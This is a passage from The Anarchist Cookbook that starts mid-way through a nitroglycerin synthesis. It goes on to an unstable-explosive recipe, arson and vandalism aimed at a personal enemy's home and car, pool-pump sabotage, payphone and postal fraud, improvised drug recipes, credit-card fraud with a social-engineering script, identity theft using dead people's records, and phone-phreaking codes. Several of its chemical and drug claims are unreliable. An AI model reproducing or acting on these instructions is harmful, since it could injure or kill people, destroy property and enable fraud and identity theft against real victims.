bath and allow to cool below room temp. +3.After it has cooled, add to it three times the amount of fuming sulferic acid (99% h2so4). In other words, add to the now -cool fuming nitric +acid 39 mL. Of fuming sulferic acid. When mixing any acids, always do it slowly and carefully to avoid splattering. +4.When the two are mixed, lower their temp. By adding more ice to the bath, about 10-15�C. (Use a mercury-operated thermometer) +5.When the acid solution has cooled to the desired temperature, it is ready for the glycerin. The glycerin must be added in small amounts using +a medicine dropper. (Read this step about 10 times!) Glycerin is added slowly and carefully (I mean careful!) Until the entire surface of +the acid it covered with it. +6.This is a dangerous point since the nitration will take place as soon as the glycerin is added. The nitration will produce heat, so the solution +must be kept below 30�C! If the solution should go above 30�C, immediately dump the solution into the ice bath! This will insure that it does +not go off in your face! +7.For the first ten minutes of nitration, the mixture should be gently stirred. In a normal reaction the nitroglycerin will form as a layer on top of +the acid solution, while the sulferic acid will absorb the excess water. +8.After the nitration has taken place, and the nitroglycerin has formed on the top of the solution, the entire beaker should be transferred slowly +and carefully to another beaker of water. When this is done the nitroglycerin will settle at the bottom so the other acids can be drained +away. +9.After removing as much acid as possible without disturbing the nitroglycerin, remove the nitroglycerin with an eyedropper and place it in a +bicarbonate of soda (sodium bicarbonate in case you didn't know) solution. The sodium is an alkali and will neutralize much of the acid +remaining. This process should be repeated as much as necessary using blue litmus paper to check for the presence of acid. The +remaining acid only makes the nitroglycerin more unstable than it already is. +10.Finally! The final step is to remove the nitroglycerin from the bicarbonate. His is done with and eye- dropper, slowly and carefully. The usual +test to see if nitration has been successful is to place one drop of the nitroglycerin on metal and ignite it. If it is true nitroglycerin it will +burn with a clear blue flame. +** Caution ** +Nitro is very sensitive to decomposition, heating dropping, or jarring, and may explode if left undisturbed and cool. +80. Operation: Fuckup by The Jolly Roger +This is a guide for Anarchists and can be funny for non-believers and 12 and 13 year old runts, and can be a lexicon of deadly knowledge for +True Anarchists... Serious damage is intended to be dealt here. Do not try this stuff unless you want to do a lot of serious Anarchy. +[Simulation] +Asshole - 'Listen, you little teenager punk shit, shut the fuck up, or I'll knock you down!' +Anarchist - 'O.K. You can't say I didn't warn you. You don't know my rue power...' (soooo casually) +Asshole - 'Well, er, what do you mean? +Anarchist - '' As you can see, the Anarchist knows something that this asshole doesn't... +[Operation Fuckup] +Get a wheel barrel or two. Fill with gasoline. Get 16 rolls of toilet paper, unroll & drench in the gasoline. Rip to shreds in gasoline. Get asbestos +gloves. Light a flare (to be punk), grab glob of saturated toilet paper (you can ignite the glob or not). Throw either flaming or dripping glob into: + Any window (picture is the best) + Front doors + Rough grain siding + Best of all, brick walls +First of all, this bitch is near impossible to get off once dried, and is a terror to people inside when lit! After this... during the night, get a pickup +truck, a few wheel-barrels, and a dozen friends with shovels. The pickup can be used only for transporting people and equipment, or doing +that, and carting all the dirt. When it gets around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole in his front yard until about +3:00. You can either assign three or four of your friends to cart the dirt ten miles away in the pickup-bed, or bury his front door in 15' of dirt! +After that is done, get three or four buckets of tar, and coat his windows. You can make an added twist by igniting the tar when you are all +done and ready to run! That is if the loser has a house. If he lives inside an apartment building, you must direct the attack more toward his car, +and front door. I usually start out when he goes to work...I find out what his cheap car looks like, and memorize it for future abuse...It is always +fun to paint his front door (apt.) hot pink with purple polka-dots, and off-neon colors in diagonal stripes. You can also pound a few hundred or +so four +inch nails into his front door (this looks like somebody really doesn't like you from the inside). Another great is to fill his keyhole with liquid steel +so that after the bastard closes his door - the only way to get back in is to break it down. If you can spare it, leave him an axe - that is, +implanted three inches into, and through the door! Now, this next one is difficult, but one of the best! Get a piece of wood siding that will more +than cover his front door completely. Nail two by fours on the edges of the siding (all except the bottom) so you have a barge - like contraption. +Make a hole at the top that will be large enough for a cement slide. Mix about six or seven LARGE bags of QUICK drying cement. Use the +cement slide to fill the antechamber created by the 'barge' that is around his door. Use more two by fours to brace your little cement-filled +barge, and let the little gem dry. When it is, remove the 'barge' so only a stone monolith remains that covers his door. Use any remaining cement +to make a base around this so he can't just push it over. When I did this, he called the fire department, and they thought he meant wood, so +they brought axes. I watched with a few dozen or so other tenants, and laughed my damn ass off! This is only his door! After he parks his car +for the night, the fun really begins...I start out by opening up the car by jamming a very thin, but loack - inside and out! Then proceed to put +orange-juice syrup all over the seats, so after he gets through all the other shit that you do, he will have the stickiest +seats in the world. You can then get a few Sunday papers, and crack one of the windows about four inches. Lightly crumple the papers, and +continue to completely fill the inside of his car with the newspapers. A copy of the Sunday New York Times will nicely fill a Volkswagen! What +is also quite amusing is to put his car on cinder blocks, slash his tires at the top, and fill them with cement! Leave the cinder blocks there so +that, after he knocks the car off of them, he will get about 3 miles to the gallon with those tires, and do 0 to 60 in about two minutes! It is even +more hilarious when he doesn't know why the hell why! Another is to open his hood, and then run a few wires from the sparkplugs to the +METAL body. The sure is one HOT car when it is running! Now, I like to pour two pounds of sugar down his gas tank. If this doesn't blow every +gasket in his engine it will do something called 'caramelizing his engine'. This is when the extreme heat turns the sugar to caramel, and you +literally must completely take the engine out and apart, and clean each and every individual part! Well, if this asshole does not get the message, +you had better start to get serious. If this guide was used properly & as it was intended (no, not as kindling for the fire), this asshole will either +move far away, seek professional psychological help, commit suicide, or all of the above! +81. Stealing calls from payphones by The Jolly Roger +Now to make free local calls, you need a finishing nail. I highly recommend "6D E.G. FINISH C/H, 2 INCH" nails. These are about 3/32 of an inch +in diameter and 2 inches long (of course). You also need a large size paper clip. By large I mean they are about 2in long (FOLDED). Then you +unfold the paper clip. Unfold it by taking each piece and moving it out 90�. When it is done it should look somewhat like this: +/----------\ +: : +: : +: : +: : +\----- +Now, on to the neat stuff. What you do, instead of unscrewing the glued-on mouthpiece, is insert the nail into the center hole of the +mouthpiece (where you talk) and push it in with pressure or just hammer it in by hitting the nail on something. Just DON'T KILL THE +MOUTHPIECE! You could damage it if you insert the nail too far or at some weird angle. If this happens then the other party won't be able +to hear what you say. You now have a hole in the mouthpiece in which you can easily insert the paper clip. So, take out the nail and put in the +paper clip. Then take the other end of the paper clip and shove it under the rubber cord protector at the bottom of the handset (you know, the +blue guy...). This should end up looking remotely like...like this: +/----------\ Mouthpiece +: : +Paper clip --> : : / +: /---:---\ +: : : +:------------> +====================\---))): +: To earpiece -> +^ ^ +\--------------------> +: : +: : +Cord Blue guy +(The paper clip is shoved under the blue guy to make a good connection between the inside of the mouthpiece and the metal cord.) Now, dial +the number of a local number you wish to call, sayyyy, MCI. If everything goes okay, it should ring and not answer with the "The Call You +Have Made Requires a 20 Cent Deposit" recording. After the other end answers the phone, remove the paper clip. It's all that simple, see? +There are a couple problems, however. One is, as I mentioned earlier, the mouthpiece not working after you punch it. If this happens to +you, simply move on to the next payphone. The one you are now on is lost. Another problem is that the touch tones won't work when the +paper clip is in the mouthpiece. There are two ways around this.. +1.Dial the first 6 numbers. This should be done without the paper clip making the connection, i.e., one side should not be connected. Then +connect the paper clip, hold down the last digit, and slowly pull the paper clip out at the mouthpiece's end. +2.Don't use the paper clip at all. Keep the nail in after you punch it. Dial the first 6 digits. Before dialing the last digit, touch the nail head to +the plate on the main body of the phone, the money safe thingy..then press the last number. The reason that this method is sometimes +called clear boxing is because there is another type of phone which lets you actually make the call and listen to them say "Hello, +hello?" but it cuts off the mouthpiece so they can't hear you. The Clear Box is used on that to amplify your voice signals and send it +through the earpiece. If you see how this is even slightly similar to the method I have just described up there, kindly explain it to ME!! +Cause I don't GET IT! Anyways, this DOES work on almost all single slot, Dial Tone First payphones (Pacific Bell for sure). I do it all the +time. This is the least, I STRESS *LEAST*, risky form of Phreaking. +82. Pool Fun by The Jolly Roger +First of all, you need know nothing about pools. The only thing you need know is what a pool filter looks like. If you don't know that. Second, +dress casual. Preferably, in black. Visit your "friends" house, the one whose pool looks like fun!! Then you reverse the polarity of his/her pool, +by switching the wires around. They are located in the back of the pump. This will have quite an effect when the pump goes on. In other +words. Boooooooooooommm! That's right, when you mix + wires with - plugs, and vice- versa, the 4th of July happens again. Not into total +destruction??? When the pump is off, switch the pump to "backwash". Turn the pump on and get the phuck out! When you look the next day, +phunny. The pool is dry. If you want permanent damage, yet no great display like my first one mentioned, shut the valves of the pool off. +(There are usually 2) One that goes to the main drain and one that goes to the filter in the pool. That should be enough to have one dead +pump. The pump must take in water, so when there isn't any... Practical jokes: these next ones deal with true friends and +there is *no* permanent damage done. If you have a pool, you must check the pool with chemicals. There is one labeled orthotolidine. The +other is labeled alkaline (pH). You want orthotolidine. (It checks the chlorine). Go to your local pool store and tell them you're going into the pool +business, and to sell you orthotolidine (a CL detector) Buy this in great quantities if possible. The solution is clear. You fill 2 baggies with this +chemical. And sew the bags to the inside of your suit. Next, go swimming with your friend! Then open the bags and look like you're enjoying a +piss. And anyone there will turn a deep red! They will be embarrassed so much, Especially if they have guests there! Explain what it is, then +add vinegar to the pool. Only a little. The "piss" disappears. +83. Free Postage by The Jolly Roger +The increasing cost of postage to mail letters and packages is bringing down our standard of living. To remedy this deplorable situation, some +counter control measures can be applied. For example, if the stamps on a letter are coated with Elmer's Glue by the sender, the cancellation +mark will not destroy the stamp: the Elmer's drives to form an almost invisible coating that protects the stamps from the cancellation ink. Later, +the receiver of the letter can remove the cancellation mark with water and reuse the stamps. Furthermore, ecological saving will also result +from recycling the stamps. Help save a tree. The glue is most efficiently applied with a brush with stiff, short bristles. Just dip the brush directly +into the glue and spread it on evenly, covering the entire surface of the stamp. It will dry in about 15 minutes. For mailing packages, just follow +the same procedure as outlined above; however, the package should be weighed and checked to make sure that it has the correct amount of +postage on it before it is taken to the Post Office. Removing the cancellation and the glue from the stamps can be easily accomplished by +soaking the stamps in warm water until they float free from the paper. The stamps can then be put onto a paper towel to dry. Processing +stamps in large batches saves time too. Also, it may be helpful to write the word 'Elmer' at the top of the letter (not on the envelope) to cue the +receiving party in that the stamps have been protected with the glue. We all know that mailing packages can be expensive. And we also know +that the handicapped are sometimes discriminated against in jobs. The Government, being the generous people they are, have given the blind +free postal service. Simply address you envelope as usual, and make one modification. In the corner where the stamp would go, write in (or +stamp) the words 'FREE MATTER FOR THE BLIND". Then drop you package or letter in one of the blue federal mailboxes. DO NOT TAKE THE +LETTER TO THE POST OFFICE, OR LEAVE IT IN YOUR MAILBOX. Sounds very nice of the government to do this, right? Well, they aren't that +nice. The parcel is sent library rate, that is below third class. It may take four to five days to send a letter to just the next town. This too is quite +simple, but less effective. Put the address that you are sending the letter to as the return address. If you were sending a $20 donation to the +pirate's Chest, you would put our address (PO box 644, Lincoln MA 01773) as the return address. Then you would have to be careless and +forget to put the stamp on the envelope. A nice touch is to put a bullshit address in the center of the envelope. Again, you MUST drop the letter +in a FEDERAL mailbox. If the post office doesn't send the letter to the return address for having no stamp, they will send it back for the reason +of "No such address". +Example: +Pirates Chest Dept. 40DD +P.O. Box 644865 +Lincol, Ma. 41773 +Tom Bullshit +20 Fake Road +What Ever, XX 99851 +One last thing you might try doing is soaking a canceled stamp off of an envelope, and gluing it onto one you are sending. Then burn the stamp, +leaving a little bit to show that there was one there. +84. Unstable Explosives by The Jolly Roger +Mix solid Nitric Iodine with household ammonia. Wait overnight and then pour off the liquid. You will be left with a muddy substance. Let this dry +till it hardens. Now throw it at something!!!! +85. Weird Drugs by The Jolly Roger +Bananas: +1.Obtain 15 pounds of ripe yellow bananas. +2.Peel all and eat the fruit. Save the peelings. +3.Scrape all the insides of the peels with a sharp knife. +4.Put all the scraped material in a large pot and add water. +5.Boil 3 or 4 hours until it has attained a solid paste consistency. +6.Spread paste onto cookie sheets and dry in oven for about 20 minutes. This will result in fine black powder. Usually one will feel the effects +after smoking three to four cigarettes. +Cough syrup: +Mix Robitussion AC with an equal amount of ginger ale and drink. The effect are sedation and euphoria. Never underestimate the effects of any +drug! You can OD on cough syrup! +Toads: +1.Collect five to ten toads, frogs will not work. The best kind are tree toads. +2.Kill them as painlessly as possible, and skin immediately. +3.Allow the skins to dry in a refrigerator four to five days, or until the skins are brittle. +4.Now crush the skins into powder and smoke. Due to its bad taste you can mix it with a more fragrant smoking medium. +Nutmeg: +1.Take several whole nutmegs and grind them up in an old grinder. +2.After the nutmegs are ground. Place in a mortar and pulverize with a pestle. +3.The usual dosage is about 10 or 15 grams. A larger dose may produce excessive thirst, anxiety, and rapid heart beat, but hallucinations are +rare. +Peanuts: +1.Take 1 pound of raw peanuts (not roasted.) +2.Shell them, saving the skins and discarding the shells. +3.Eat the nuts. +4.Grind up the skins and smoke them. +86. The Art of Carding by The Jolly Roger +Obtaining a credit card number: There are many ways to obtain the information needed to card something. The most important things needed +are the card number and the expiration date. Having the card-holders name doesn't hurt, but it is not essential. The absolute best way to obtain +all the information needed is by trashing. The way this is done is simple. You walk around your area or any other area and find a store, mall, +supermarket, etc., that throws their garbage outside on the sidewalk or dumpster. Rip the bag open and see if you can find any carbons at all. +If you find little shreds of credit card carbons, then it is most likely not worth your time to tape together. Find a store that does not rip their +carbons at all or only in half. Another way is to bullshit the number out of someone. That is call them up and say "Hello, this is Visa security +and we have a report that your card was stolen." They will deny it and you will try to get it out of them from that point on. You could say, "It +wasn't stolen? Well what is the expiration date and maybe we can fix the problem.... OK and what is the number on your card?......Thank you +very much and have a nice day." Or think of something to that degree. Another way to get card numbers is through systems such as TRW +and CBI, this is the hard way, and probably not worth the trouble, unless you are an expert on the system. Using credit card numbers posted +on BBS's is risky. The only advantage is that there is a good chance that other people will use it, thus decreasing the chances of being the +sole-offender. The last method of getting numbers is very good also. In most video rental stores, they take down your credit card number +when you join to back-up your rentals. So if you could manage to steal the list or make a copy of it, then you are set for a LONG time. +Choosing a victim: Once you have the card number, it is time to make the order. The type of places that are easiest to victimize are small +businesses that do mail order or even local stores that deliver. If you have an ad for a place with something you want and the order number is +NOT a 1-800 number then chances are better that you will succeed. +Ordering +When you call the place up to make the order, you must have several things readily at hand. These are the things you will need: A name, +telephone number, business phone, card number (4 digit bank code if the card is MasterCard), expiration date, and a complete shipping and +billing address. I will talk about all of these in detail. A personal tip: When I call to make an order, it usually goes much smoother if the person +you are talking to is a woman. In many cases they are more gullible than men. The name: You could use the name on the card or the name of +the person who you are going to send the merchandise to. Or you could use the name on the card and have it shipped to the person who +lives at the drop (Say it is a gift or something). The name is really not that important because when the company verifies the card, the persons +name is never mentioned, EXCEPT when you have a Preferred Visa card. Then the name is mentioned. You can tell if you have a Preferred +Visa card by the PV to the right of the expiration date on the carbon. No phone all day long waiting for the company to call (Which they will), +then the phone number to give them as your home-phone could be one of the following: A number that is ALWAYS busy, a number that +ALWAYS rings, a payphone number, low end of a loop (and you will wait on the other end), or a popular BBS. NEVER give them your home +phone because they will find out as soon as the investigation starts who the phone belongs to. The best thing would be to have a payphone +call forward your house (via Cosm The business number.) When asked for, repeat the number you used for your home phone. Card number: +The cards you will use will be Visa, Mastercard, and American Express. The best is by far Visa. It is the most straight-forward. Mastercard +is pretty cool except for the bank code. When they ask for the bank code, they sometimes also ask for the bank that issued it. When they ask +that just say the biggest bank you know of in your area. Try to avoid American Express. They tend to lead full scale investigations. +Unfortunately, American Express is the most popular card out. When telling the person who is taking your call the card number, say it slow, +clear, and with confidence. e.g. CC# is 5217-1234-5678-9012. Pause after each set of four so you don't have to repeat it. Expiration date: The +date must be at LEAST in that month. It is best to with more than three months to go. The address: More commonly referred to as the 'drop'. +Well the drop can range from an abandoned building to your next door neighbors apartment. If you plan to send it to an apartment building then +be sure NOT to include an apartment number. This will confuse UPS or postage men a little and they will leave the package in the lobby. Here is +a list of various drops: The house next door whose family is on vacation, the apartment that was just moved out of, the old church that will be +knocked down in six months, your friends house who has absolutely nothing to do with the type of merchandise you will buy and who will +also not crack under heat from feds, etc.. There are also services that hold merchandise for you, but personally I would not trust them. And +forget about P.O. Boxes because you need ID to get one and most places don't ship to them anyway. Other aspects of carding: Verifying +cards, seeing if they were reported stolen. Verifying cards: Stores need to verify credit cards when someone purchases something with one. +They call up a service that checks to see if the customer has the money in the bank. The merchant identifies himself with a merchant number. +The service then holds the money that the merchant verified on reserve. When the merchant sends in the credit card form, the service sends +the merchant the money. The service holds the money for three days and if no form appears then it is put back into the bank. The point is that +if you want to verify something then you should verify it for a little amount and odds are that there will be more in the bank. The good thing +about verification is that if the card doesn't exist or if it is stolen then the service will tell you. To verify MasterCard and Visa try this number. It +is voice: 1-800-327-1111 merchant code is 596719. Stolen cards: Mastercard and Visa come out with a small catalog every +week where they publish EVERY stolen or fraudulently used card. I get this every week by trashing the same place on the same day. If you +ever find it trashing then try to get it every week. Identifying cards: Visa card numbers begin with a 4 and have either 13 or 16 digits. +MasterCard card numbers begin with a 5 and have 16 digits. American Express begins with a 3 and has 15 digits. They all have the formats of +the following: +3xxx-xxxxxx-xxxxx American Express +4xxx-xxx-xxx-xxx Visa +4xxx-xxxx-xxxx-xxxx Visa +5xxx-xxxx-xxxx-xxxx MasterCard +Gold cards: A gold card simply means that credit is good for $5000. Without a gold card, credit would be normally $2000. To recognize a gold +card on a carbon there are several techniques: +American Express-none. +Visa-PV instead of CV. +Note-When verifying a PV Visa, you have to have the real name of the cardholder. +Mastercard-An asterisk can signify a gold card, but this changes depending when the card was issued. I am going to type out a dialog +between a carder and the phone operator to help you get the idea. +Operator: "Over-priced Computer Goods, may I help you?" +Carder: "Hi, I would like to place an order please." +Operator: "Sure, what would you like to order?" +Carder: "400 generic disks and a double density drive." +Operator: "Ok, is there anything else?" +Carder: "No thank you, that's all for today." +Operator: "Ok, how would you like to pay for this? MasterCard or Visa?" +Carder: "Visa." +Operator: "And your name is?" +Carder: "Lenny Lipshitz." (Name on card) +Operator: "And your Visa card number is?" +Carder: "4240-419-001-340" (Invalid card) +Operator: "Expiration date?" +Carder: "06-92." +Operator: "And where would you like the package shipped to?" +Carder: "6732 Goatsgate Port. Paris, Texas, 010166." +Operator: "And what is your home telephone number?" +Carder: "212-724-9970" (This number is actually always busy) +Operator: "I will also need your business phone number in case we have to reach you." +Carder: "You can reach me at the same number. 212-724-9970" +Operator: "O.K. Thank you very much and have nice day." +Carder: "Excuse me, when will the package arrive?" +Operator: "In six to seven days UPS." +Carder: "Thanks a lot, and have a pleasant day." +Now you wait 6-7 days when the package will arrive to the address which is really a house up for sale. There will be a note on the door +saying, "Hello UPS, please leave all packages for Lenny Lipshitz in the lobby or porch. Thanks a lot, Lenny Lipshitz" (Make the signature halfway +convincing) +87. Recognizing credit cards by The Jolly Roger +[Sample: American Express] +XXXX XXXXXX XXXXX +MM/Y1 THRU MM/Y2 Y1 +John Doe AX +Explanation: +The first date is the date the person got the card, the second date is the expiration date, after the expiration date is the same digits in the first +year. The American Express Gold has many more numbers (I think 6 8 then 8). If you do find a Gold card keep it for it has a $5000.00 backup +even when the guy has no money! +[Sample: Master Card] +5XXX XXXX XXXX XXXX +XXXX AAA DD-MM-YY MM/YY +John Doe. +Explanation: +The format varies, I have never seen a card that did not start with a 5XXX there is another 4 digits on the next line that is sometimes asked for +when ordering stuff, (and rarely a 3 digit letter combo (e. ANB). The first date is the date the person got the card and the second date is the +expiration date. Master Card is almost always accepted at stores. +[Sample: VISA] +XXXX XXX(X) XXX(X) XXX(X) +MM/YY MM/YY*VISA +John Doe +Explanation: +Visa is the most straight forward of the cards, for it has the name right on the card itself, again the first date is the date he got the card and the +second is the expiration date. (Sometimes the first date is left out). The numbers can either be 4 3 3 3 or 4 4 4 4. Visa is also almost always +accepted at stores, therefore, the bes t of cards to use. +88. How To Create A New Identity by The Walking Glitch +You might be saying, "Hey Glitch, what do I need a new identity for?" The answer is simple. You might want to go buy liquor somewhere, +right? You might want to go give the cops the false name when you get busted so you keep your good name, eh? You might even want to use +the new identity for getting a P.O. Box for carding. Sure! You might even want the stuff for renting yourself a VCR at some dickless loser of a +convenience store. Here we go: Getting a new ID isn't always easy, no one said it would be. By following these steps, any bozo can become +a new bozo in a couple of weeks. +STEP 1 +The first step is to find out who exactly you'll become. The most secure way is to use someone's ID who doesn't use it themselves. The people +who fit that bill the best are dead. As an added bonus they don't go complaining one bit. Go to the library and look through old death notices. +You have to find someone who was born about the same time as you were, or better yet, a year or two older so you can buy booze, etc. You +should go back as far as you can for the death because most states now cross index deaths to births so people can't do this in the future. The +cutoff date in Wisconsin is 1979, folks in this grand state gotta look in 1978 or earlier. Anything earlier there is cool. Now, this is the hardest +part if you're younger. Brats that young happen to be quite resilient, taking falls out of three story windows and eating rat poison like its Easter +candy, and not a scratch or dent. There ain't many that die, so ya gotta look your ass off. Go down to the library and look up all the death +notices you can, if it's on microfilm so much the better. You might have to go through months of death notices though, but the results are well +worth it. You gotta get someone who died locally in most instances: the death certificate is filed only in the county of death. Now you go down +to the county courthouse in the county where he died and get the death certificate, this will cost you around $3-$5 depending on the state +you're in. Look at this hunk of paper, it could be your way to vanish in a cloud of smoke when the right time comes, like right after that big +scam. If You're lucky, the slobs parents signed him up with social security when he was a snot nosed brat. That'll be another piece of ID you +can get. If not, that's Ok too. It'll be listed on the death certificate if he has one. If you're lucky, the stiff was born locally and you can get his +birth certificate right away. +STEP 2 +Now check the place of birth on the death certificate, if it's in the same place you standing now you're all set. If not, you can mail away for one +from that county but its a minor pain and it might take a while to get, the librarian at the desk has listings of where to write for this stuff and +exactly how much it costs. Get the Birth certificate, its worth the extra money to get it certified because that's the only way some people will +accept it for ID. When you're getting this stuff the little forms ask for the reason you want it, instead of writing in "Fuck you", try putting in the +word "Genealogy". They get this all the time. If the Death certificate looks good for you, wait a day or so before getting the certified birth +certificate in case they recognize someone wanting it for a dead guy. +STEP 3 +Now your cooking! You got your start and the next part's easy. Crank out your old Dot matrix printer and run off some mailing labels addressed +to you at some phony address. Take the time to check your phony address that there is such a place. Hotels that rent by the month or large +apartment buildings are good, be sure to get the right zip code for the area. These are things that the cops might notice that will trip you up. +Grab some old junk mail and paste your new labels on them. Now take them along with the birth certificate down to the library. +Get a new library card. If they ask you if you had one before say that you really aren't sure because your family moved around a lot when you +were a kid. Most libraries will allow you to use letters as a form of ID when you get your card. If they want more give them a sob story about +how you were mugged and got your wallet stolen with all your identification. Your card should be waiting for you in about two weeks. Most +libraries ask for two forms of ID, one can be your trusty Birth Certificate, and they do allow letters addressed to you as a second +form. +STEP 4 +Now you got a start, it isn't perfect yet, so let's continue. You should have two forms of ID now. Throw away the old letters, or better yet stuff +them inside the wallet you intend to use with this stuff. Go to the county courthouse and show them what nice ID you got and get a state ID +card. Now you got a picture ID. This will take about two weeks and cost about $5, its well worth it. +STEP 5 +If the death certificate had a social security number on it you can go out and buy one of those metal SS# cards that they sell. If it didn't, then +you got all kinds of pretty ID that shows exactly who you are. If you don't yet have an SS#, Go down and apply for one, these are free but +they could take five or six weeks to get, Bureaucrats you know... You can invent a SS# too if you like, but the motto of 'THE WALKING GLITCH' +has always been "Why not excellence?". +STEP 6 +If you want to go whole hog you can now get a bank account in your new name. If you plan to do a lot of traveling then you can put a lot of +money in the account and then say you lost the account book. After you get the new book you take out all the cash. They'll hit you with a slight +charge and maybe tie-up your money some, but if you're ever broke in some small town that bank book will keep you from being thrown in jail +as a vagrant. +ALL DONE? +So kiddies, you got ID for buying booze, but what else? In some towns (the larger the more likely) the cops if they catch you for something +petty like shoplifting stuff under a certain dollar amount, will just give you a ticket, same thing for pissing in the street. That's it! No fingerprints or +nothing, just pay the fine (almost always over $100) or appear in court. Of course they run a radio check on your ID, you'll be clean and your +alter-ego gets a blot on his record. Your free and clear. That's worth the price of the trouble you've gone through right there. If your smart, +you'll toss that ID away if this happens, or better yet, tear off your picture and give the ID to someone you don't like, maybe they'll get busted +with it. If you're a working stiff, here's a way to stretch your dollar. Go to work for as long as it takes to get unemployment and then get +yourself fired. Go to work under the other name while your getting the unemployment. With a couple of sets of ID, you can live like a king. +These concepts for survival in the new age come to you compliments of THE WALKING GLITCH. +89. Remote Informer Issue #2 by Tracker, Norman Bates, and Ye Cap'n +Raggers and Braggers +This section is to make you aware of well-known raggers and braggers. Since this is the first time this section is being printed, we will tell +you what classifies people as raggers and braggers. In the future issues the top raggers and braggers will be listed in this newsletter to let +the SysOps know who not to let on their board, or to atleast keep an eye on. A ragger is someone who will put someone else down for +something. The person might post a message asking a novice question about hacking and phreaking, or may say something that is +completely wrong, and a ragger will put the other person down for he said, posted, etc. The ones that usually classify in this category are +the ones that think they know it all and consider themselves right no matter what anyone says. Most of the users that use codes and +consider themselves a master phreaker usually become raggers. +A bragger is someone who either does or thinks he does know everything, and puts it upon himself to tell the whole world that he knows it +all. This person is also one who thinks he is better than everyone else and he believes he is Elite, and no one else is. People who tend to +do this are those who have, for some reason, become well-known in the underworld, and as a result become a bragger. Those usually not +too well-known will not tend to brag as much as those who think everyone would love to be their friend and be like them. +As a well-known ragger and bragger, The Toad, learned that it does not help to be one or both of those. He has since changed and is now +easily accepted by most. Most people disliked him because others they knew had said something bad about him. This is called peer +pressure and is a bad influence to those who are new to the underworld. I would suggest in the future, to not judge someone by what others +say, but rather by how they act around/to you. The current most popular Atarian that classifies as a ragger and a bragger is Ace of Aces, +and is well-hated by many users and SysOps, since he tends to put down anything anyone says and considers himself the best at writing +hacking programs. He is commonly referred to as Ass of Asses and Ass of Assholes. Even holding an open mind about this guy, you would +soon come to find that what others said coincides with what you see from him. +A New 950 has arrived! +LDDS, who as mentioned above bought out TMC, is installing a new 950 port to most major cities. By the time you read this, it should be in +almost every area that supports 950 ports. The number is 950-1450. This port will dial 976 numbers, but not 700, 800, or 900 numbers. The +dialing method for LDDS is: 7 digit code, then even if the code is bad it will give you a dial tone. Then dial the area code plus the number. If +you have a bad code it will simply say your call cannot be completed as it was dialed. There is a default code used on the system that +currently works. The code is simply, 1234567. I have seen codes from 5 different companies and they all are in the format of 00xxxxx. I do +not know what type of software they use, but I will know by the next issue exactly what they place on the bills. This could be the +answer to a lot of people's problems with fear of Sprint and ITT, especially AllNets. Just remember, Tracker is the one who found this, +and all information about it. If someone is seen saying they found this, then they will be listed in the next issue which will contain an article +on leeches. +Mailbox Systems +Mailbox systems are the link between information and the underworld. If you have ever called one, then you will know the advantages of +having one, especially the ones that are open to whole underworld, rather than just a select few. There are two types of mailbox systems +that are widely used. The first type we will talk about is the multiple mailbox systems, or commonly referred to as message systems. +These systems have several mailboxes set up on one number. Usually, you can access other mailboxes from that number by pressing '*' +or '#'. Sometimes you just enter the mailbox number and you are connected. These are the safest systems to use to protect information from +US Sprint and other long distance companies. Since US Sprint and other companies call the destination numbers, it is safer to have 800 +mailbox systems, and most of the time, the multiple mailbox systems are on 800 numbers. The passcode on these systems can vary in +length and can be accessed by several different methods, so it is impossible to explain exactly how to hack these systems. +The other type is the single mailbox system. These are usually set up in a reserved prefix in an area code. (Ex: 713-684-6xxx) These +systems are usually controlled by the same type of hardware/software. To access the area where you enter the passcode, just hit '0' for +a second or so. The passcodes are four (4) digits long. The only way to hack these is manually. The best thing you could do is to find one +that does not have a recording from a person, but just the digitized voice. If you hack one that someone already owns, they will report it +and it will not last as long. +Here is a list mailboxes or prefixes to help you get started +-------------------------------------------------------------------------- +Single Multiple Name Digits +213-281-8xxx 212-714-2770 3 +213-285-8xxx 216-586-5000 4 +213-515-2xxx 415-338-7000 Aspen Message System 3 +214-733-5xxx 714-474-2033 Western Digital +214-855-6xxx 800-222-0651 Vincent and Elkins 4 +214-978-2xxx 800-233-8488 3 +215-949-2xxx 800-447-8477 Fairylink 7 +312-450-8xxx 800-521-5344 3 +313-768-1xxx 800-524-2133 RCA 4 +405-557-8xxx 800-527-0027 TTE TeleMessager 6 +602-230-4xxx 800-632-7777 Asynk 6 +619-492-8xxx 800-645-7778 SoftCell Computers 4 +713-684-6xxx 800-648-9675 Zoykon 4 +800-847-0003 Communications World 3 +90. Remote Informer Issue #3 by Tracker, Ye Cap'n, Norman Bates +Introduction +It's been a month now, and A LOT has happened. So much, in fact, that the information will be split into several issues. This should be no +shock since I mentioned in the first issue that we may put several issues out sometimes. I want to congratulate the readers for finally +contributing to the newsletter. This first two issues were all on information that I, myself, obtained. Several people gave me information for +these issues, and their handle and information is included in the articles. +ITT has 9 digits! +For those of you who did not know this, ITT has nine digit codes. They are said to give better connections to some extent. This info was +originally given to us by Party Beast. +Phreaky Phones Go Down! +The famed Phreaky Phones are down again. Modem Man, the original person that started them, has said that they will be down until further +notice. In the meantime, other independent boxes are being started. A listing can be made of current ones on request. +Magnus Adept Gets Busted +Fellow Atarian and well-known phreak Magnus Adept got caught by MCI. Details of the how, when, and where are not known at this time. He +got caught with 150 codes and may have to pay up to 50 dollars for each code. +Sprint Codes Are Dying Fast! +Sprint codes are hard to get and when they are obtained, they tend to die rather quickly. Phreakers have been saying that the 950-0777 port +is dead, but on the contrary, it is still available in states that are not highly abused by phreaks. Here again, rumors are being spread. +The Best BBS of the Month +Starting from now on, we will have a BBS of the month. We will choose a BBS, regardless of computer type, and look at the user participation +in phreak related matters, as well as quality discussions on the various illegal topics. A BBS can remain the BBS of the month as long as they +reside above the rest of the BBS systems. Even though we will sometimes bring out more than one issue in a month, the board will remain +BBS of the month until the first issue in the next month comes out. +This month's BBS of the month is FBI PirateNet. We chose this board because of the large numbers of posts in the bases, and not only +information, but discussions as well, with a minimum number of posts from raggers and braggers. The number for it is 516 -661-7360. The +Sysop of FBI PirateNet is The Phantom, not to be confused with an earlier NARC. +US Sprint Expected to Trim Staff, Consolidate Divisions +New York -- US Sprint Communications Corp., the troubled long distance carrier, is expected to announce soon that it will cut its work force by +several hundred people and reduce its seven regional divisions to 3 operating groups, sources familiar with the company said. +The company's Pacific division is based in Burlingame, CA. The layoffs and reorganization are part of a plan by US Sprint's new president, +Robert H. Snedaker, to reduce heavy operating losses, which analysts expect to reach more than $800 million this year. +Snedaker replaced Charles M. Slibo, who was forced to resign in July because losses were running much higher than the parent companies +had expected. Problems with the company's computerized billing system also contributed to Skibo's ouster. US Sprint is owned and operated +by the 